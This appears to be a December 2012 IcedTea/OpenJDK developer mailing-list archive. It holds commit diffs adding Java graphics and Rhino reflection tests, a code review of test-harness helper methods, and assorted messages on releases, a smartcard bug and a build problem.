AppletJnlpWithMainClass

The JSToJFuncParam html page

name="JSToJFuncParam" id="jstojFuncParamApplet" MAYSCRIPT> > + > +

> + > + JavaScript to Java LiveConnect - FuncParam > + RedHat > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + LiveConnect - tests for function parameter conversion > when calling Java from JS. > + > + > + > + + href="http://java.sun.com/products/autodl/j2se"/> > + > + > + > + + name="JS to J FuncParam" > + main-class="JSToJFuncParam" > + width="1000" > + height="100"> > + > +

changeset 9c43ef8b6cd6 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=9c43ef8b6cd6 author: Pavel Tisnovsky date: Thu Dec 13 10:39:57 2012 +0100 Added nine new tests to the test suite src/org/gfxtest/testsuites/BitBltUsingBgColor.java. diffstat: ChangeLog | 7 +- src/org/gfxtest/testsuites/BitBltUsingBgColor.java | 120 +++++++++++++++++++++ 2 files changed, 126 insertions(+), 1 deletions(-) diffs (147 lines): diff -r 76335aa60853 -r 9c43ef8b6cd6 ChangeLog --- a/ChangeLog Wed Dec 12 11:07:14 2012 +0100 +++ b/ChangeLog Thu Dec 13 10:39:57 2012 +0100 @@ -1,7 +1,12 @@ +2012-12-13 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: + Added nine new tests to this test suite. + 2012-12-12 Pavel Tisnovsky * src/org/gfxtest/testsuites/Paths.java: - Added new tests to this test case. + Added new tests to this test suite. 2012-12-11 Pavel Tisnovsky diff -r 76335aa60853 -r 9c43ef8b6cd6 src/org/gfxtest/testsuites/BitBltUsingBgColor.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Wed Dec 12 11:07:14 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Thu Dec 13 10:39:57 2012 +0100 @@ -646,6 +646,126 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundBlack(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.black); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundBlue(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.blue); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundGreen(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.green); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.cyan. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundCyan(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.cyan); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundRed(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.red); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.magenta. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundMagenta(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.magenta); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.yellow. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundYellow(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.yellow); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.white. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundWhite(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.white); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Thu Dec 13 01:43:17 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 13 Dec 2012 09:43:17 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 90ebe9af7914 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=90ebe9af7914 author: Pavel Tisnovsky date: Thu Dec 13 10:46:21 2012 +0100 Added three new tests into the test case src/org/RhinoTests/SimpleBindingsClassTest.java. diffstat: ChangeLog | 8 ++ src/org/RhinoTests/SimpleBindingsClassTest.java | 75 +++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 0 deletions(-) diffs (114 lines): diff -r 0fc35b431d2e -r 90ebe9af7914 ChangeLog --- a/ChangeLog Wed Dec 12 11:25:42 2012 +0100 +++ b/ChangeLog Thu Dec 13 10:46:21 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-13 Pavel Tisnovsky + + * src/org/RhinoTests/SimpleBindingsClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-12 Pavel Tisnovsky * src/org/RhinoTests/SimpleScriptContextClassTest.java: diff -r 0fc35b431d2e -r 90ebe9af7914 src/org/RhinoTests/SimpleBindingsClassTest.java --- a/src/org/RhinoTests/SimpleBindingsClassTest.java Wed Dec 12 11:25:42 2012 +0100 +++ b/src/org/RhinoTests/SimpleBindingsClassTest.java Thu Dec 13 10:46:21 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -379,6 +380,28 @@ } /** + * Test for method javax.script.SimpleBindings.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.simpleBindingsClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.SimpleBindings.getClass().getMethods() */ protected void testGetMethods() { @@ -503,6 +526,58 @@ } /** + * Test for method javax.script.SimpleBindings.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleBindingsClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.SimpleBindings.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleBindingsClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.SimpleBindings */ @SuppressWarnings("cast") From jfabriko at redhat.com Thu Dec 13 02:03:28 2012 From: jfabriko at redhat.com (Jana Fabrikova) Date: Thu, 13 Dec 2012 11:03:28 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework Message-ID: <50C9A7F0.3000201@redhat.com> 2012-12-13 Jana Fabrikova * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: Added several new versions of method executeBrowser with lists of ContentReaderListeners as arguments. * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: Added new versions of the constructor and methods for adding ContentReaderListeners using List instead of one ContentReaderListener. Added a new version of constructor with less arguments (used in case when several arguments would be passed as null, thus causing ambiguity). * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: Modified the call of executeBrowser method with null arguments into a call of new method without the null arguments (getting rid of an ambiguous call). I would like to ask for review of the attached patch, thank you, Jana -------------- next part -------------- A non-text attachment was scrubbed... Name: AWTFramework_preparations.patch Type: text/x-patch Size: 7362 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/5599d73b/AWTFramework_preparations.patch From jvanek at redhat.com Thu Dec 13 02:21:20 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 11:21:20 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9A7F0.3000201@redhat.com> References: <50C9A7F0.3000201@redhat.com> Message-ID: <50C9AC20.6030603@redhat.com> On 12/13/2012 11:03 AM, Jana Fabrikova wrote: > 2012-12-13 Jana Fabrikova > > * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: > Added several new versions of method executeBrowser with lists > of ContentReaderListeners as arguments. It is common to use ..ew versions of (executeBrowser) with lis... parentheses which measn method/target... > > * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: > Added new versions of the constructor and methods for adding > ContentReaderListeners using List > instead of one ContentReaderListener. > Added a new version of constructor with less arguments (used > in case when several arguments would be passed as null, thus > causing ambiguity). same > > * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: > Modified the call of executeBrowser method with null arguments > into a call of new method without the null arguments > (getting rid of an ambiguous call). same > > > I would like to ask for review of the attached patch, > thank you, > Jana > > AWTFramework_preparations.patch > > > diff --git a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > --- a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > +++ b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java > @@ -109,7 +109,7 @@ > try { > boolean isJavawsTest = isJnlp(launchFile); > pr = isJavawsTest ? server.executeJavawsHeadless(launchFile, null, null) > - : server.executeBrowser(launchFile, null, null); > + : server.executeBrowser(launchFile); > } catch (Exception ex) { > ServerAccess.logException(ex); > } finally { > diff --git a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java > @@ -64,6 +64,20 @@ > public ProcessWrapper() { > } > > + public ProcessWrapper(String toBeExecuted, List otherargs, URL u){ > + Assert.assertNotNull(u); > + Assert.assertNotNull(toBeExecuted); > + Assert.assertTrue(toBeExecuted.trim().length() > 1); > + if (otherargs == null) { > + otherargs = new ArrayList(1); > + } > + List urledArgs = new ArrayList(otherargs); > + urledArgs.add(0, toBeExecuted); > + urledArgs.add(u.toString()); > + this.args = urledArgs; > + this.vars=null; > + } > + This smell with doubled code. Can you extract all the duplicate parts? > public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { > Assert.assertNotNull(u); > Assert.assertNotNull(toBeExecuted); > @@ -81,6 +95,22 @@ > > } > > + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, List stdoutl, List stderrl, String[] vars) throws Exception { > + Assert.assertNotNull(u); > + Assert.assertNotNull(toBeExecuted); > + Assert.assertTrue(toBeExecuted.trim().length() > 1); > + if (otherargs == null) { > + otherargs = new ArrayList(1); > + } > + List urledArgs = new ArrayList(otherargs); > + urledArgs.add(0, toBeExecuted); > + urledArgs.add(u.toString()); > + this.args = urledArgs; > + this.addStdOutListeners(stdoutl); > + this.addStdErrListeners(stderrl); > + this.vars=vars; > + } This smells with similar duplication. > + > ProcessWrapper(final List args, File dir, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) { > this.args = args; > this.dir = dir; > @@ -89,6 +119,14 @@ > this.vars = vars; > } > > + public ProcessWrapper(final List args, File dir, List stdoutl, List stderrl, String[] vars) { > + this.args = args; > + this.dir = dir; > + this.addStdOutListeners(stdoutl); > + this.addStdErrListeners(stderrl); > + this.vars = vars; > + } > + > public final void addStdOutListener(ContentReaderListener l) { > if (l == null) { > return; > @@ -105,6 +143,22 @@ > > } > > + public final void addStdOutListeners(List l) { > + if (l == null) { > + return; > + } > + stdoutl.addAll(l); > + > + } > + > + public final void addStdErrListeners(List l) { > + if (l == null) { > + return; > + } > + stderrl.addAll(l); > + > + } > + > /** > * @return the args > */ > diff --git a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > @@ -573,6 +573,10 @@ > return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); > } > > + public ProcessResult executeBrowser(String resource, List stdoutl, List stderrl) throws Exception { > + return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); > + } > + > /** > * wrapping method to executeProcess (eg: javaws arg arg http://localhost:port/resource) > * will execute default javaws (@see JAVAWS_BUILD_BIN) upon default url upon cached server (@see SERVER_NAME @see getPort(), @see getInstance())) > @@ -592,7 +596,7 @@ > } > > public ProcessResult executeBrowser(List otherargs, String resource) throws Exception { > - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), null, null, null); > + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource)); > rpw.setReactingProcess(getCurrentBrowser());//current browser may be null, but it does not metter > return rpw.execute(); > } > @@ -603,8 +607,16 @@ > return rpw.execute(); > } > > + public ProcessResult executeBrowser(List otherargs, String resource, List stdoutl, List stderrl) throws Exception { > + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); > + rpw.setReactingProcess(getCurrentBrowser());// current browser may be > + // null, but it does not > + // matter > + return rpw.execute(); What an nasty indentation. Perhaps you have ide configured to use tabs as tabs? (should be tabs as spaces, I think tab is 4sapces by default for ITW) But maybe just email transformation messed it up. Then please ignore this... > + } > + > public ProcessResult executeBrowser(Browser b, List otherargs, String resource) throws Exception { > - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), null, null, null); > + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource)); > rpw.setReactingProcess(b); > return rpw.execute(); > } > @@ -615,6 +627,12 @@ > return rpw.execute(); > } > > + public ProcessResult executeBrowser(Browser b, List otherargs, String resource, List stdoutl, List stderrl) throws Exception { > + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); > + rpw.setReactingProcess(b); > + return rpw.execute(); > + } > + > /** > * Create resource on http, on 'localhost' on port on which this cached instance is running > * @param resource > @@ -661,7 +679,7 @@ > * @throws Exception > */ > public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u) throws Exception { > - return new ProcessWrapper(toBeExecuted, otherargs, u, null, null, null).execute(); > + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); > } > > public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl) throws Exception { > Otherwise the changes have sense. Please double check that all the affected codes by small refactoring you included in this patch have no impact to compilation/runtime of reproducers! Thankx for dooing this J. From gnu.andrew at redhat.com Thu Dec 13 03:06:16 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Thu, 13 Dec 2012 06:06:16 -0500 (EST) Subject: FYI: Proprietary Oracle JDK 7u10 In-Reply-To: <1355342320.5802.106.camel@pegasus> Message-ID: <157037715.15270740.1355396776237.JavaMail.root@redhat.com> ----- Original Message ----- > Il giorno mer, 12/12/2012 alle 12.21 -0500, Andrew Hughes ha scritto: > > As discussed on the OpenJDK 6 lists: > > > > http://mail.openjdk.java.net/pipermail/jdk7u-dev/2012-September/004630.html > > > > Oracle have released a proprietary update for 7, u10, for which > > there is no corresponding OpenJDK release. > > > > http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html > > > > The next OpenJDK release will be u12. > > Hi Andrew, > > That's just my opinion, of course, but the features in the release > notes > seems all to be related with Applets and Deployment, which are not > areas > covered by OpenJDK. > > Even if a release with the same id would be welcomed for OpenJDK, it > doesn't seem that any of the advertised fixes have any impact or > meaning > for OpenJDK at all, so the fact that Oracle released a JDK version > targeted at OSX and Windows doesn't leave us either exposed or behind > in > any way, unless I'm reading it incorrectly, of course. > No, I tend to agree. I just thought it worth noting that the release had now happened. The only OpenJDK viable fix from the release notes would appear to be the timezone data update and many distros override this using their own generated data anyway. Of course, we don't know what unlisted fixes may be in the release. > Cheers, > Mario > > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From helpcrypto at gmail.com Thu Dec 13 07:26:21 2012 From: helpcrypto at gmail.com (helpcrypto helpcrypto) Date: Thu, 13 Dec 2012 16:26:21 +0100 Subject: Fwd: [Bug 1202] New: SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well In-Reply-To: References: Message-ID: ping? Hi. A few days ago I reported [1]. As its a very-specific issue related to smartcards, I'll like to know if any of you is used to work with this lind of devices, to help him fix this bug and other one found while using smartcards. IMHO the other bug could be somewhat related, and even could have a higher priority, but want to know who (if someone) has needed hardware to test/to be able to test and fix. Thanks! [1] 1202 SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well. From jvanek at redhat.com Thu Dec 13 08:35:17 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 17:35:17 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour Message-ID: <50CA03C5.7080500@redhat.com> Ok for head? J. -------------- next part -------------- A non-text attachment was scrubbed... Name: openjdk-exploit3-reproducer.diff Type: text/x-patch Size: 21251 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/c3b81a44/openjdk-exploit3-reproducer.diff From jvanek at redhat.com Thu Dec 13 08:44:14 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 13 Dec 2012 17:44:14 +0100 Subject: [rfc][icedtea-web] reproducer for mzozila buffer owerflow Message-ID: <50CA05DE.5040602@redhat.com> This is reproducer for older mozilla issue. It is fixed correctly for all firefox, chrome and chromium - for which it was dangerous and was fixed. However it is behaving somehow strange for opera midory and epiphany. I have marked those tests as known to fail by small hack. I'm not sure if it measn that issue was not fixed, or taht it is not an issue in this family of browsers... The side effect of crashes in midory/epihany/opera leaded me to synchronize the logger, otherwise it broken really seriously:( J. -------------- next part -------------- A non-text attachment was scrubbed... Name: mozzilaReproducer.diff Type: text/x-patch Size: 5229 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/e74853fc/mozzilaReproducer.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: synchronizedLoger.patch Type: text/x-patch Size: 3803 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/e74853fc/synchronizedLoger.patch From gregjo at yahoo.com Thu Dec 13 13:57:26 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Thu, 13 Dec 2012 13:57:26 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 Message-ID: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> I'm attempting to compile IcedTea with CACAO using Fedora 17 in x86. (Eventually I want to do this on ARM using a Raspberry Pi.) I have attempted to build 9 different versions obtained from http://icedtea.wildebeest.org/download/source icedtea-2.1.1 icedtea-2.1.2 icedtea-2.1.3 icedtea-2.2.1 icedtea-2.2.2 icedtea-2.2.3 icedtea-2.3.1 icedtea-2.3.2 icedtea-2.3.3 They will build (at least the ones I tried) correctly if I don't specify CACAO. But if I do specify CACAO, I get build errors. I used the information on this page: http://icedtea.classpath.org/wiki/FedoraBuildInstructions Before compiling, I prepared with these steps: # yum-builddep "java-1.7.0-openjdk" #?yum install libattr-devel libtool gcc-c++ libXpm-devel Then I did the following: # cd icedtea-2.X.X # ./configured --enable-cacao # make I received one of 3 types of errors when attempting to compile: Exception in thread "main" java.lang.Error: fatal: missing resource bundle: sun.rmi.rmic.resources.rmic_en_US or /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): undefined reference to 'JVM_SetNativeThreadName' or Error occured during intialization of VM Could not reserve enough space for object heap. (I am running this on a machine with 4GB of RAM, so that should be plenty.) So what am I missing? It is a compatibility issue of using java.1.7.0-openjdk with IcedTea? I apologize if I've drifted onto the wrong mailing list. If so, set me straight, but do it gently. ;-) Greg -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121213/23cf25fd/attachment.html From ptisnovs at icedtea.classpath.org Fri Dec 14 01:26:51 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 14 Dec 2012 09:26:51 +0000 Subject: /hg/gfx-test: src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha... Message-ID: changeset cb9c34f9d39a in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=cb9c34f9d39a author: Pavel Tisnovsky date: Fri Dec 14 10:29:53 2012 +0100 src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: Fixed alpha color computation. Added five new tests to this test suite. diffstat: ChangeLog | 6 + src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java | 81 ++++++++++++++++- 2 files changed, 84 insertions(+), 3 deletions(-) diffs (111 lines): diff -r 9c43ef8b6cd6 -r cb9c34f9d39a ChangeLog --- a/ChangeLog Thu Dec 13 10:39:57 2012 +0100 +++ b/ChangeLog Fri Dec 14 10:29:53 2012 +0100 @@ -1,3 +1,9 @@ +2012-12-14 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: + Fixed alpha color computation. Added five new tests to this test + suite. + 2012-12-13 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: diff -r 9c43ef8b6cd6 -r cb9c34f9d39a src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Thu Dec 13 10:39:57 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Fri Dec 14 10:29:53 2012 +0100 @@ -110,9 +110,9 @@ */ private Color calculateTransparentColor(Color backgroundColor, float alpha) { - final float red = backgroundColor.getRed(); - final float green = backgroundColor.getGreen(); - final float blue = backgroundColor.getBlue(); + final float red = backgroundColor.getRed() / 255.0f; + final float green = backgroundColor.getGreen() / 255.0f; + final float blue = backgroundColor.getBlue() / 255.0f; return new Color(red, green, blue, alpha); } @@ -192,6 +192,81 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha000(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.0f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha025(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.25f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha050(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.5f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha075(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 0.75f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundRedAlpha100(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.red, 1.00f); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Fri Dec 14 01:55:24 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 14 Dec 2012 09:55:24 +0000 Subject: /hg/rhino-tests: Added three new tests into src/org/RhinoTests/I... Message-ID: changeset 688976f71a2d in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=688976f71a2d author: Pavel Tisnovsky date: Fri Dec 14 10:58:28 2012 +0100 Added three new tests into src/org/RhinoTests/InvocableClassTest.java: - getAnnotations() - getDeclaredAnnotations() - getField() diffstat: ChangeLog | 8 +++ src/org/RhinoTests/InvocableClassTest.java | 75 ++++++++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 0 deletions(-) diffs (114 lines): diff -r 90ebe9af7914 -r 688976f71a2d ChangeLog --- a/ChangeLog Thu Dec 13 10:46:21 2012 +0100 +++ b/ChangeLog Fri Dec 14 10:58:28 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-14 Pavel Tisnovsky + + * src/org/RhinoTests/InvocableClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-13 Pavel Tisnovsky * src/org/RhinoTests/SimpleBindingsClassTest.java: diff -r 90ebe9af7914 -r 688976f71a2d src/org/RhinoTests/InvocableClassTest.java --- a/src/org/RhinoTests/InvocableClassTest.java Thu Dec 13 10:46:21 2012 +0100 +++ b/src/org/RhinoTests/InvocableClassTest.java Fri Dec 14 10:58:28 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -355,6 +356,28 @@ } /** + * Test for method javax.script.Invocable.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required 